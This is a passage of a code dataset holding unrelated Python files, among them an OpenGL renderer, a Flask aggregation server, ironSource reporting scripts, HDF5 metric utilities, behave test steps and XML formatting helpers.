glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA)\n            glEnable(GL_TEXTURE_2D)\n\n        @logger\n        def init_texture():\n            # initialize texture mapping\n            glEnable(GL_TEXTURE_2D)\n            glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST)\n            glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST)\n            glTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_DECAL)\n\n        init_gfx()\n        if self.enable_depth_test:\n            init_depth_test()\n        if self.enable_shader:\n            init_shader()\n        if self.enable_light:\n            init_light()\n        if self.enable_text:\n            init_text()\n        if self.enable_texture:\n            init_texture()\n        self.recalculate_projection_matrix(G.appm.width, G.appm.height)\n\n    def update(self):\n        def init_render():\n            glClearColor(*self.clear_color)\n            # glClear(self.clear_flag)\n            glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n            glMatrixMode(GL_MODELVIEW)\n            glLoadIdentity()\n            if self._look_at_args:\n                look_at_args = self._look_at_args\n                eye_position = look_at_args.eye_position\n                target_position = look_at_args.target_position\n                up = look_at_args.up\n                args = list(eye_position) + list(target_position) + list(up)\n                gluLookAt(*args)\n\n        def finalize_render():\n            from OpenGL.raw.GLUT import glutSwapBuffers\n            glutSwapBuffers()\n\n        def in_render():\n            for renderable in self.renderable_map.values():\n                renderable.render()\n\n        init_render()\n        in_render()\n        finalize_render()\n\n    @logger\n    def finalize(self):\n        pass\n","sub_path":"Prototype/framework/zgraphics_glut.py","file_name":"zgraphics_glut.py","file_ext":"py","file_size_in_byte":6736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"11390456","text":"# Imports\r\nimport pandas as pd\r\nimport numpy as np\r\nimport tkinter as tk\r\nimport beams as b\r\nimport criteria as c\r\nimport gui\r\n\r\n\r\n# Defines\r\nIX_HEADER = \"i_x\"\r\nTYPE = \"designation\"\r\nDATA_SPREADSHEET = \"beam_dimensions_properties.xlsx\"\r\nRELEVANT_SHEETS = [\"WB\", \"WC\", \"UB\", \"UC\"]\r\n\r\n\r\n# Functions\r\ndef load_beams_from_spreadsheet(spreadsheet):\r\n    beams = []\r\n    sheets = pd.read_excel(spreadsheet, sheet_name=RELEVANT_SHEETS, header=0)\r\n    for sheet in sheets:\r\n        columns = sheets[sheet].columns\r\n        sheet_np = sheets[sheet].values\r\n        for i in range(np.size(sheet_np, 0)):\r\n            beams.append(b.Beam(columns, sheet_np[i, :]))\r\n\r\n    return beams\r\n\r\n\r\ndef add_desired_beam_type(desired_beam_types, desired_beam_type):\r\n    if desired_beam_type not in desired_beam_types:\r\n        desired_beam_types.append(desired_beam_type)\r\n\r\n    return desired_beam_types\r\n\r\n\r\ndef remove_undesired_beam_type(desired_beam_types, undesired_beam_type):\r\n    if undesired_beam_type in desired_beam_types:\r\n        desired_beam_types.remove(undesired_beam_type)\r\n\r\n    return desired_beam_types\r\n\r\n\r\ndef main():\r\n    # Read in from spreadsheet\r\n    beams = load_beams_from_spreadsheet(DATA_SPREADSHEET)\r\n\r\n    desired_criteria = c.Criteria()\r\n\r\n    # Create GUI window\r\n    root = tk.Tk()\r\n    root.title(\"Beam Selection Tool\")\r\n    window = gui.GUIWindow(beams, desired_criteria, master=root)\r\n    window.mainloop()\r\n\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n","sub_path":"beam_select.py","file_name":"beam_select.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"557204840","text":"from flask import Flask, send_from_directory\nfrom flask import request, jsonify\nfrom flask_cors import CORS\nfrom sortedcontainers import SortedDict, SortedSet, SortedList\nimport threading\nimport jsonschema\napp = Flask(__name__)\ncors = CORS(app)\n\nmax_applications = {}\n\nimport time\nstart_time = time.time()\nepisode_length = 10\nepisodes = SortedDict()\n\ndef get_current_episode():\n    cur_time = time.time()\n    return int((cur_time - start_time)/episode_length)\n\n\nclass Episode:\n    def __init__(self, index):\n        self.data = {}\n        self.index = index\n        pass\n\n    def _ensure_name(self, name):\n        if name not in self.data:\n            self.data[name] = {}\n        return self.data[name]\n\n    def _set_values_for_partition(self, dt, partition, values):\n        if \"partitions\" not in dt:\n            dt[\"partitions\"] = {}\n        dt[\"partitions\"][partition] = values\n\n    def set_data_generic(self, type, partition, name, values):\n        dt = self._ensure_name(name)\n        dt[\"type\"] = type\n        self._set_values_for_partition(dt, partition, values)\n\n\n    def _get_aggregator(self, type):\n\n        def key_extractor(v):\n            return v[1]\n\n        def min_aggregator(values):\n            return sorted(values, key=key_extractor )[:10]\n\n        def max_aggregator(values):\n            return sorted(values, key=key_extractor, reverse=True)[:10]\n\n        def sum_aggregator(values):\n            return sum([v for _,v in values])\n\n\n        if type==\"min\":\n            return min_aggregator\n        elif type==\"max\":\n            return max_aggregator\n        elif type==\"sum\":\n            return sum_aggregator\n        else:\n            return None\n\n\n\n    def aggregate_data_for_name(self, name):\n        if name not in self.data:\n            return None\n\n        type = self.data[name][\"type\"]\n        all_data = []\n\n        for _,v in self.data[name][\"partitions\"].items():\n            all_data.extend(v)\n\n        aggr = self._get_aggregator(type)\n        if aggr is None:\n            return None\n        return aggr(all_data)\n\nclass EpisodeManager:\n    def __init__(self):\n        def key_extractor(v):\n            if isinstance(v, Episode):\n                return v.index\n            return v\n\n        self.episode_lock = threading.Lock()\n        self.episodes = SortedDict()\n\n    def _get_current_episode(self)->Episode:\n        ep = get_current_episode()\n        if ep not in self.episodes:\n            self.episodes[ep] = Episode(ep)\n\n        while len(self.episodes) > 20:\n            self.episodes.popitem(0)\n\n        return self.episodes[ep]\n\n    def _get_previous_episode(self, ep)->Episode:\n        if ep is None:\n            ep = get_current_episode() - 2\n\n        if ep not in self.episodes:\n            if len(self.episodes) == 0:\n                return None\n            return self.episodes.peekitem()[1]\n        return self.episodes[ep]\n\n    def set_data_generic(self, type, partition, name, values ):\n        with self.episode_lock:\n            ep = self._get_current_episode()\n            ep.set_data_generic(type, partition, name, values)\n            return ep.index\n\n    def aggregate_data_for_name_in_time(self, name, last_episode=None):\n        with self.episode_lock:\n            if last_episode is None:\n                last_episode = get_current_episode() - 2\n\n            all_data = []\n            max_items = 20\n            for k in reversed(self.episodes):\n                if k<=last_episode:\n                    all_data.append([k,self.episodes[k].aggregate_data_for_name(name)])\n                    if len(all_data) > max_items:\n                        break\n            return all_data[::-1]\n\n\n\n\n\n\n    def aggregate_data_for_name(self, name, episode=None):\n        with self.episode_lock:\n            episode = self._get_previous_episode(episode)\n            if episode is None:\n                return None\n            return episode.aggregate_data_for_name(name)\n\n\nepisode_manager = EpisodeManager()\n\n\n@app.errorhandler(jsonschema.exceptions.ValidationError)\ndef handle_validation_error(error):\n    response = jsonify(error.to_dict())\n    response.status_code = 400\n    return response\n\n@app.route('/set_data', methods=[\"POST\"])\ndef set_data_for_generic():\n    schema = {\n        \"type\":\"object\",\n        \"required\":[\"partition\",\"values\",\"name\"],\n        \"properties\":{\n            \"partition\":{\"type\":\"string\"},\n            \"name\":{\"type\":\"string\"},\n            \"type\":{\"type\":\"string\"},\n            \"values\": {\n                \"type\":\"array\",\n                \"maxItems\": 10,\n                \"items\": {\n                    \"type\":\"object\",\n                    \"properties\":{\n                        \"key\":{\"type\":\"string\"},\n                        \"value\":{\"type\":\"integer\",\"minimum\": 0, }\n                     },\n                    \"required\":[\"key\",\"value\"]\n                }\n             }\n        }\n    }\n\n\n\n    data = request.get_json()\n    jsonschema.validate(data, schema=schema)\n\n\n\n    start_time = time.time()\n\n    new_episode = episode_manager.set_data_generic(\n        data[\"type\"],\n        data[\"partition\"], data[\"name\"],\n        [(value[\"key\"], value[\"value\"]) for value in data[\"values\"]]\n    )\n\n    end_time = time.time()\n    print(f\"Setting data for {data['name']} took {end_time-start_time}s\")\n    return jsonify(new_episode)\n\n\n@app.route('/get_data_episode/<episode>/<name>', methods=[\"GET\"])\ndef get_data_for_generic_episode(episode, name ):\n    result = episode_manager.aggregate_data_for_name(name, int(episode))\n    if result is None:\n        return jsonify([])\n    return jsonify(result)\n\n@app.route('/get_data/<name>', methods=[\"GET\"])\ndef get_data_for_generic(name):\n    result = episode_manager.aggregate_data_for_name(name)\n    if result is None:\n        return jsonify([])\n    return jsonify(result)\n\n@app.route('/get_data_timeline/<name>', methods=[\"GET\"])\ndef get_data_timeline(name):\n    result = episode_manager.aggregate_data_for_name_in_time(name)\n    if result is None:\n        return jsonify([])\n    return jsonify(result)\n\n@app.route('/web/<path:path>')\ndef send_web(path):\n    return send_from_directory(\"web\", path)\n\n\n\nif __name__==\"__main__\":\n    import argparse\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--port\",\"-p\",default=9999, type=int)\n    args = parser.parse_args()\n\n    app.run(host=\"0.0.0.0\",port=args.port, threaded=True)\n    #episode_manager.set_data_generic(\"max\",\"0\",\"xx\",[(\"k\",10),(\"v\",22)])\n","sub_path":"CacheServer/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"552845087","text":"from quart import g, render_template\n\nfrom lnbits.decorators import check_user_exists, validate_uuids\n\nfrom . import bleskomat_ext\n\nfrom .exchange_rates import exchange_rate_providers_serializable, fiat_currencies\nfrom .helpers import get_callback_url\n\n\n@bleskomat_ext.route(\"/\")\n@validate_uuids([\"usr\"], required=True)\n@check_user_exists()\nasync def index():\n    bleskomat_vars = {\n        \"callback_url\": get_callback_url(),\n        \"exchange_rate_providers\": exchange_rate_providers_serializable,\n        \"fiat_currencies\": fiat_currencies,\n    }\n    return await render_template(\n        \"bleskomat/index.html\", user=g.user, bleskomat_vars=bleskomat_vars\n    )\n","sub_path":"lnbits/extensions/bleskomat/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"149879454","text":"\"\"\"Testa para ver se dois retangulos se colidem\"\"\"\nfrom behave import given, when, then\n\nimport algoritimo\n\n\n@given('dois retangulos nas coordenadas (6,7) (7,8) e dimensoes (2,2) e (2,2)')\ndef step_recebe_retangulos(context):\n    \"\"\"Recebe coordeandas dos retangulos.\"\"\"\n    context.retanguloAX = 6\n    context.retanguloAY = 7\n    context.retanguloBX = 7\n    context.retanguloBY = 8\n    context.retanguloAH = 2\n    context.retanguloAL = 2\n    context.retanguloBH = 2\n    context.retanguloBL = 2\n\n\n@when('quero saber se os retangulos colidiram.')\ndef step_verifica_se_colidem(context):\n    context.result = algoritimo.colidem(context.retanguloAX, context.retanguloAY, context.retanguloBX, context.retanguloBY, context.retanguloAH, context.retanguloAL, context.retanguloBH, context.retanguloBL)\n\n\n@then('o resultado e verdadeiro.')\ndef step_verifica_resultado(context):\n    assert context.result == True\n\n\n@given('dois retangulos nas coordenadas (6,7) (2,5) e dimensees (2,2) e (2,2)')\ndef step_recebe_retangulos(context):\n        context.retanguloAX = 6\n        context.retanguloAY = 7\n        context.retanguloBX = 2\n        context.retanguloBY = 5\n        context.retanguloAH = 2\n        context.retanguloAL = 2\n        context.retanguloBH = 2\n        context.retanguloBL = 2\n\n@then('o resultado e falso.')\ndef step_verifica_resultado(context):\n    assert context.result == False\n","sub_path":"aula_3/colisao_retangulos/features/steps/colisao_retangulos.py","file_name":"colisao_retangulos.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"250398287","text":"# Read dataset\n# Parameters: train_path, test_path\ndef read_data(train_path, test_path):\n    train = pd.read_csv(train_path, engine = 'python')\n    test = pd.read_csv(test_path, engine = 'python')\n    print(\"training set:\\n\",train.head())\n    print(\"test set:\\n\", test.head())\n    return train, test\n\n# Getting rid of nan and re-index for later loop\ndef clean_data(data):\n    data1 = data\n    #删除nan值\n    data1 = data1.dropna()\n    #将标签转换为0,1表示\n    data1.label = data.label.map({'Negative': 0, 'Positive': 1})\n    print(data1.shape)\n    #重新排序\n    data1.index = data1.ID\n    \n    return data1\n\n# Convert comments to words\ndef clean_to_words(review):\n    #去除非字母字符, 去除后用空格代替\n    letters = re.sub(\"[^a-zA-Z]\", ' ', review)\n    #转换为全小写\n    lower_letters = letters.lower()\n    #切割出单词\n    words = lower_letters.split()\n    return (\" \".join(words))\n\n# Gather all words\ndef get_whole_words(data, kind = ''):\n    num_reviews = data.shape[0]\n    clean_words = []\n    \n    if (kind == 'train'):\n        print(\"Cleaning and parsing the training set reviews...\")\n    elif (kind == 'test'):\n        print(\"Cleaning and parsing the test set reviews...\")\n    \n    for i in range(num_reviews):\n        if((i+1) % 2000 == 0):\n            print(\"Review %d of %d \\n\" % (i+1, num_reviews))\n        clean_words.append(clean_to_words(data.review[i]))\n    \n    print(\"Process completed\")\n    return clean_words","sub_path":"src/utils/DataProcessed.py","file_name":"DataProcessed.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"559507883","text":"import requests\nimport json\nfrom datetime import datetime, timedelta\n\ndef get_bearer_token(secretkey, refreshtoken):\n    \"\"\"https://developers.ironsrc.com/ironsource-mobile/air/authentication/#step-1\"\"\"\n    url = 'https://platform.ironsrc.com/partners/publisher/auth'\n    headers = {'secretkey': secretkey,\n           'refreshToken': refreshtoken}\n\n    response = requests.get(url, headers=headers)\n    #print(response.text)\n    return response.text\n\ndef get_ironsrc_appkeys(token_):\n    \"\"\"https://developers.ironsrc.com/ironsource-mobile/air/application-api/#step-1\"\"\"\n    #not needed if you already have your appkeys\n    #print(token_)\n    headers = {'Authorization': 'Bearer ' + token_.replace('\"', '')}\n\n    url_request = \"https://platform.ironsrc.com/partners/publisher/applications/v5?\"\n\n    resp = requests.get(url_request, headers=headers)\n    #print(resp.text)\n    data = json.loads(resp.text)\n    appkeys = [row.get('appKey') for row in data]\n\n    return appkeys\n\n\ndef get_ironsrc_metrics(token_):\n    url_request = \"https://api.ironsrc.com/advertisers/v2/reports?breakdowns=day,campaign,country,deviceType&metrics=impressions,clicks,completions,spend&format=json&count=100&startDate=2020-10-25&endDate=2020-10-30\"\n    headers = {'Authorization': 'Bearer ' + token_.replace('\"', '')}\n\n    print(url_request)\n    resp = requests.get(url_request, headers=headers)\n    data = json.loads(resp.text)\n    #print(resp, resp.text)\n    #print(urls)\n    return data\n\n\ndef get_ironsrc_data_url(token_, appkey, date = None):\n    \"\"\"https://developers.ironsrc.com/ironsource-mobile/air/user-ad-revenue-v2/#step-1\"\"\"\n\n    headers = {'Authorization': 'Bearer ' + token_.replace('\"', '')}\n\n    url_request = f\"https://platform.ironsrc.com/partners/userAdRevenue/v3?appKey={appkey}&date={date}&reportType=1\"\n    #url_request = f'http://platform.ironsrc.com/partners/adRevenueMeasurements/v1?appKey={appkey}&date={date}'\n    print(url_request)\n    resp = requests.get(url_request, headers=headers)\n    urls = json.loads(resp.text).get('urls')\n    #print(resp, resp.text)\n    #print(urls)\n    return urls\n\n\ndef download_ironsrc_data(secretkey, refreshtoken, appkey, date = None):\n    \"\"\" returns file name so you can pass this to your loading function\"\"\"\n    token = get_bearer_token(secretkey, refreshtoken)\n\n    if date is None:\n        from datetime import datetime\n        yesterday = datetime.now()  - timedelta(days=1)\n        date = yesterday.strftime('%Y-%m-%d')\n\n    urls = get_ironsrc_data_url(token, appkey, date= date)\n    filenames = []\n    if urls is not None:\n        for idx in range(0, len(urls)):\n            url = urls[idx]\n            filename = f'ironsource_revenue_{date}_{appkey}_part{idx}.gz'\n            filedata = requests.get(url)\n            with open(filename, 'wb') as f:\n                f.write(filedata.content)\n                filenames.append(filename)\n    return filenames\n\ndef download_ironscr_data_all_games(secretkey, refreshtoken):\n    token = get_bearer_token(secretkey, refreshtoken)\n    # get game ids\n    appkeys = get_ironsrc_appkeys(token)\n    # for each game download files\n    files = []\n    for appkey in appkeys:\n        fns = download_ironsrc_data(secretkey, refreshtoken, appkey)\n        files += fns\n\n    return files\n\n\nif __name__ == \"__main__\":\n    import os\n    secretkey = os.environ.get('sc1')\n    refreshtoken = os.environ.get('sc2')\n    #get auth token\n    token = get_bearer_token(secretkey, refreshtoken)\n    #get game ids\n\n    metrics = get_ironsrc_metrics(token+'fsa')\n    print(metrics)\n    #do loading logic\n    #print(filename)\n","sub_path":"scripts/gaming/ironsource/ironscr_metrics_download.py","file_name":"ironscr_metrics_download.py","file_ext":"py","file_size_in_byte":3586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"140383814","text":"import sys, random\n\nif __name__ == '__main__':\n\n    n_items = int(sys.argv[1])\n\n    seq_prob = 0.0\n    if len(sys.argv) > 2:\n        seq_prob = float(sys.argv[2])\n\n    items = []\n    k = int(random.random() * 1000000)\n    for i in range(n_items):\n        if random.random() < seq_prob:\n            k += 1\n        else:\n            k = int(random.random() * 1000000)\n        items.append(k)\n\n    for i in items:\n        print(i)\n","sub_path":"lab8/rand.py","file_name":"rand.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"635735600","text":"fname = input(\"Enter file name: \")\nif len(fname) < 1: fname = \"mbox-short.txt\"\n\nemail_list = list()\n\nfh = open(fname, 'r')\nfor line in fh:\n    if line.startswith('From'):\n        str_list = line.split()\n        email = str_list[1]\n        email_list.append(email)\n\nemail_list = list(set(email_list))\nfor email in email_list:\n    print(email)\ncount = len(email_list)\n\nprint(\"There were\", count, \"lines in the file with From as the first word\")\n","sub_path":"py4e/charpter8.py","file_name":"charpter8.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"319275990","text":"import h5py\nimport numpy as np\nimport pandas as pd\nimport os\n\n\nclass H5Metric:\n    def __init__(self, ref_file, save_file, metric_name='score',\n                 predicted_dataset='predicted',\n                 target_dataset='y', batch_size=4,\n                 map_file=None, map_column=None):\n        self.metric_name = metric_name\n        self.ref_file = ref_file\n\n        self.predicted = predicted_dataset\n        self.target = target_dataset\n        self.batch_size = batch_size\n\n        self.res_file = save_file\n        self.map_file = map_file\n        self.map_column = map_column\n\n    def get_img_batch(self):\n        self.scores = []\n\n        if self.map_file is None:\n            with h5py.File(self.ref_file, 'r') as f:\n                size = f[self.target].shape[0]\n\n            for i in range(0, size, self.batch_size):\n                with h5py.File(self.ref_file, 'r') as f:\n                    predicted = f[self.predicted][i:i+self.batch_size]\n                    targets = f[self.target][i:i+self.batch_size]\n                yield targets, predicted\n        else:  # handle 3d with different sizes\n            map_df = pd.read_csv(self.map_file)\n            map_data = map_df[self.map_column].values\n\n            for idx in map_data:\n                with h5py.File(self.ref_file, 'r') as f:\n                    predicted = f[self.predicted][str(idx)][:]\n                    targets = f[self.target][str(idx)][:]\n                yield np.expand_dims(targets, axis=0), np.expand_dims(predicted, axis=0)\n\n    def update_score(self, scores):\n        self.scores.extend(scores)\n\n    def save_score(self):\n        if os.path.isfile(self.res_file):\n            df = pd.read_csv(self.res_file)\n            df[f'{self.metric_name}'] = self.scores\n        else:\n            df = pd.DataFrame(self.scores, columns=[f'{self.metric_name}'])\n\n        df.to_csv(self.res_file, index=False)\n\n    def post_process(self, **kwargs):\n        for targets, prediction in self.get_img_batch():\n            scores = self.calculate_metrics(\n                targets, prediction, **kwargs)\n            self.update_score(scores)\n\n        self.save_score()\n\n    def calculate_metrics(targets, predictions, **kwargs):\n        raise NotImplementedError\n\n\nclass H5CalculateFScore(H5Metric):\n    def __init__(self, ref_file, save_file, metric_name='f1_score',\n                 predicted_dataset='predicted',\n                 target_dataset='y', batch_size=4, beta=1, threshold=None,\n                 map_file=None, map_column=None):\n        super().__init__(ref_file, save_file, metric_name,\n                         predicted_dataset,\n                         target_dataset, batch_size,\n                         map_file, map_column)\n        self.threshold = 0.5 if threshold is None else threshold\n        self.beta = beta\n\n    def calculate_metrics(self, y_true, y_pred, **kwargs):\n        assert len(y_true) == len(y_pred), \"Shape not match\"\n        eps = 1e-8\n        size = len(y_true.shape)\n        reduce_ax = tuple(range(1, size))\n\n        y_pred = (y_pred > self.threshold).astype(y_pred.dtype)\n\n        true_positive = np.sum(y_pred * y_true, axis=reduce_ax)\n        target_positive = np.sum(y_true, axis=reduce_ax)\n        predicted_positive = np.sum(y_pred, axis=reduce_ax)\n\n        fb_numerator = (1 + self.beta ** 2) * true_positive\n        fb_denominator = (\n            (self.beta ** 2) * target_positive + predicted_positive + eps\n        )\n\n        return fb_numerator / fb_denominator\n\n\nclass H5MetaDataMapping:\n    def __init__(self, ref_file, save_file, folds, fold_prefix='fold',\n                 dataset_names=None):\n        self.ref_file = ref_file\n        self.save_file = save_file\n        if fold_prefix:\n            self.folds = ['{}_{}'.format(\n                fold_prefix, fold) for fold in folds]\n        else:\n            self.folds = folds\n\n        self.dataset_names = dataset_names\n\n    def post_process(self, *args, **kwargs):\n        data = {dataset_name: [] for dataset_name in self.dataset_names}\n        for fold in self.folds:\n            with h5py.File(self.ref_file, 'r') as f:\n                for dataset_name in self.dataset_names:\n                    data[dataset_name].extend(f[fold][dataset_name][:])\n\n        df = pd.DataFrame(data)\n        df.to_csv(self.save_file, index=False)\n\n\nclass H5Merge2dSlice:\n    def __init__(self, ref_file, map_file, map_column, merge_file, save_file,\n                 predicted_dataset='predicted', target_dataset='y',\n                 input_dataset='x'):\n        self.ref_file = ref_file\n        self.map_file = map_file\n        self.map_column = map_column\n        self.merge_file = merge_file\n        self.save_file = save_file\n\n        self.predicted = predicted_dataset\n        self.target = target_dataset\n        self.inputs = input_dataset\n\n    def post_process(self):\n        map_df = pd.read_csv(self.map_file)\n        map_data = map_df[self.map_column].values\n\n        unique_val = []\n\n        first, last = map_data[0], map_data[-1]\n\n        tmp = np.concatenate([[first], map_data, [last]])\n        indice = np.where(tmp[1:] != tmp[:-1])[0]\n        indice = np.concatenate([[0], indice, [len(map_data)]])\n\n        with h5py.File(self.merge_file, 'w') as mf:\n            mf.create_group(self.inputs)\n            mf.create_group(self.target)\n            mf.create_group(self.predicted)\n\n        for i in range(len(indice) - 1):\n            start = indice[i]\n            end = indice[i+1]\n\n            unique_val.append(map_data[start])\n\n            assert map_data[start] == map_data[end-1], \"id not match\"\n\n            curr_name = str(map_data[start])\n            with h5py.File(self.ref_file, 'r') as f:\n                img = f[self.inputs][start:end]\n            with h5py.File(self.merge_file, 'a') as mf:\n                mf[self.inputs].create_dataset(\n                    curr_name, data=img, compression=\"gzip\")\n\n            with h5py.File(self.ref_file, 'r') as f:\n                img = f[self.target][start:end]\n            with h5py.File(self.merge_file, 'a') as mf:\n                mf[self.target].create_dataset(\n                    curr_name, data=img, compression=\"gzip\")\n\n            with h5py.File(self.ref_file, 'r') as f:\n                img = f[self.predicted][start:end]\n            with h5py.File(self.merge_file, 'a') as mf:\n                mf[self.predicted].create_dataset(\n                    curr_name, data=img, compression=\"gzip\")\n\n        df = pd.DataFrame(data=unique_val, columns=[self.map_column])\n        df.to_csv(self.save_file, index=False)\n","sub_path":"customize_obj.py","file_name":"customize_obj.py","file_ext":"py","file_size_in_byte":6555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"282571510","text":"def goldbach_list(start,end,cut = 0):\n    split_list = []\n    for x in range(start,end+1):\n        if x % 2 != 0 or x == 2:\n            continue\n        split_list.extend([[x] + goldbach(x)])\n    return cut_back(split_list,cut)\n        \ndef goldbach(receive):\n    if receive < 4:\n        return []\n    for i in range(2,receive):\n        if prime_checker(i) == True and prime_checker(receive-i) == True:\n                return [i,receive-i]\n            \ndef prime_checker(num):\n    for p in range(2,num):\n        if num % p == 0:\n            return False\n    return True\n\ndef cut_back(receive_list,cut_range):\n    cutted_list = []\n    for i in receive_list:\n        if i[1] > cut_range:\n            cutted_list.append(i)        \n    return cutted_list            \n","sub_path":"P41/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"329548934","text":"import unittest\nfrom unittest import TestCase\n\nfrom osbot_browser.Deploy import Deploy\nfrom pbx_gs_python_utils.utils.Dev import Dev\nfrom pbx_gs_python_utils.utils.Lambdas_Helpers import slack_message\n\n\nclass test_Deploy_Lambda_Functions(TestCase):\n\n    def test_deploy_lambda_functions(self):\n        targets = [\n                    'osbot_browser.lambdas.lambda_browser'    ,\n                   ]\n        result = \"\"\n        for target in targets:\n            Deploy(target).deploy()\n            result += \" • {0}\\n\".format(target)\n\n        text        = \":hotsprings: [osbot-gsuite] updated lambda functions\"\n        attachments = [{'text': result, 'color': 'good'}]\n        slack_message(text, attachments)  # gs-bot-tests\n        Dev.pprint(text, attachments)\n\n\nif __name__ == '__main__':\n    unittest.main()","sub_path":"deploy/test_Deploy_Lambda_Functions.py","file_name":"test_Deploy_Lambda_Functions.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"352445048","text":"'''\r\n@author: Quyen Doan, https://github.com/qdoan1651/DevMathPython\r\n@file: myutils/utils_xmlfile.py\r\n@desc: Various utility functions handling comparison, diff'ing, and formatting \r\n'''\r\nimport logging, os, datetime\r\nfrom myutils import utils_files_io\r\n\r\ndef compare_two_files(file1_text, file2_text):\r\n    ''' Comparing text instead of file to avoid having to write to text files \r\n        before comparison ''' \r\n    import difflib\r\n    \r\n    diff = difflib.SequenceMatcher(isjunk=None, a=file1_text, b=file2_text).ratio()*100\r\n    diff = int(diff)\r\n    if diff < 100:\r\n        return False\r\n    else:\r\n        return True\r\n    \r\ndef diff_two_files_text(file1_text, file2_text):\r\n    ''' Compare text from two files line by line '''\r\n    import difflib, webbrowser\r\n    \r\n    diff = difflib.HtmlDiff().make_file(file1_text, file2_text, 'file1', 'file2')\r\n    \r\n    # Write to file and open it in browser\r\n    tmpfile = os.path.join(os.getcwd(), 'tmp_diff_out.html')\r\n    utils_files_io.write_text_to_file(diff, tmpfile)\r\n    url = 'file://' + tmpfile\r\n    webbrowser.open(url)\r\n    \r\ndef diff_two_files(file1, file2):\r\n    ''' Compare two files line by line '''\r\n    import difflib, webbrowser\r\n    \r\n    file1_text = open(file1).readlines()\r\n    file2_text = open(file2).readlines()\r\n    \r\n    diff = difflib.HtmlDiff().make_file(file1_text, file2_text, 'file1', 'file2')\r\n    \r\n    # Write to file and open it in browser\r\n    tmpfile = os.path.join(os.getcwd(), 'C:/Workspace/Sandbox/tmp_diff_out.html')\r\n    utils_files_io.write_text_to_file(diff, tmpfile)\r\n    url = 'file://' + tmpfile\r\n    webbrowser.open(url)\r\n    \r\ndef test_diff_two_files():\r\n    file1 = ''\r\n    file2 = ''\r\n    \r\n    diff_two_files(file1, file2)\r\n\r\ndef reformat_xml_file(filename):\r\n    ''' Function to read single line XML, reformat, and write to the same file '''\r\n    from xml.dom import minidom\r\n    \r\n    ''' Write formatted XML to file '''\r\n    utils_files_io.write_text_to_file(minidom.parse(filename).toprettyxml('\\t'), filename)\r\n\r\ndef reformat_xml_to_new_file(filename1, filename2):\r\n    ''' Function to read single line XML, reformat, and write to the same file '''\r\n    from xml.dom import minidom\r\n    \r\n    ''' Write formatted XML to file '''\r\n    utils_files_io.write_text_to_file(minidom.parse(filename1).toprettyxml('\\t'), filename2)\r\n\r\ndef format_xml_file(filename):\r\n    ''' Function to read single line XML, and returns with reformatted XML '''\r\n    from xml.dom import minidom\r\n    \r\n    ''' Format XML with toprettyxml() method '''\r\n    return minidom.parse(filename).toprettyxml('\\t')\r\n\r\ndef format_xml_text(xml_text):\r\n    ''' Function to read single line XML, and returns with reformatted XML '''\r\n    from xml.dom import minidom\r\n    \r\n    ''' Format XML with toprettyxml() method '''\r\n    return minidom.parseString(xml_text).toprettyxml('\\t')\r\n\r\nif __name__ == '__main__': \r\n    logfile = 'C:/Workspace/Sandbox/log.txt'\r\n    if os.path.isfile(logfile): os.remove(logfile)\r\n    logging.basicConfig(filename=logfile, level=logging.INFO)\r\n    \r\n    ''' Check runtime '''\r\n#     start_time = datetime.datetime.now()\r\n    # Run function here\r\n#     end_time = datetime.datetime.now()\r\n#     print('Runtime: {}'.format(end_time - start_time))\r\n\r\n","sub_path":"DevMathPython/myutils/utils_xmlfile.py","file_name":"utils_xmlfile.py","file_ext":"py","file_size_in_byte":3249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"241660268","text":"# Copyright (c) 2013 Bull.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#    http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Test of Policy Engine For Climate.\"\"\"\n\nfrom oslo.config import cfg\n\nfrom climate import context\nfrom climate import exceptions\nfrom climate import policy\nfrom climate import tests\n\nCONF = cfg.CONF\n\n\nclass DefaultPolicyTestCase(tests.TestCase):\n\n    def setUp(self):\n        super(DefaultPolicyTestCase, self).setUp()\n\n        self.rules = \"\"\"\n        {\n            \"default\": \"\",\n            \"example:exist\": \"!\",\n            \"example:allowed\": 